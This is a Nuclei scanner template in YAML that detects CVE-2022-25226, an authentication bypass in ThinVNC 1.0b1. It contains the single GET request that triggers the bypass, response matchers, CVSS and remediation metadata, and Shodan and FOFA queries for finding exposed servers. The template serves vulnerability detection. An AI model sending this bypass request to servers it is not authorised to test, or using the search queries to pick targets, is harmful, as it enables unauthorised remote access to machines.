id: CVE-2022-25226

info:
  name: ThinVNC - Authentication Bypass
  author: ritikchaddha
  severity: critical
  description: |
    ThinVNC version 1.0b1 allows an unauthenticated user to bypass the authentication process via a specific command, potentially leading to unauthorized access and code execution.
  impact: |
    An attacker can bypass authentication and gain unauthorized access to the ThinVNC server.
  remediation: |
    Apply the vendor-supplied patch or update to the latest version to mitigate the CVE-2022-25226 vulnerability.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2022-25226
    epss-score: 0.10867
    epss-percentile: 0.95297
    cpe: cpe:2.3:a:cybelsoft:thinvnc:1.0:b1:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: cybelsoft
    product: thinvnc
    shodan-query: http.favicon.hash:-1414548363
    fofa-query: icon_hash="571240285"
  tags: cve,cve2022,thinvnc,auth-bypass,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cmd?cmd=connect"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'cmd":"connectStatus'
          - 'authStatus":1'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022033cffb1793b24843471512a5c7f36c6840b75008d1c9eee76a29f3b8ed2b6b220220595fb78b6e2cacdf3382036e91e274294dd23b84b57522a4f111c9c98525b175:922c64590222798bb761d5b6d8e72950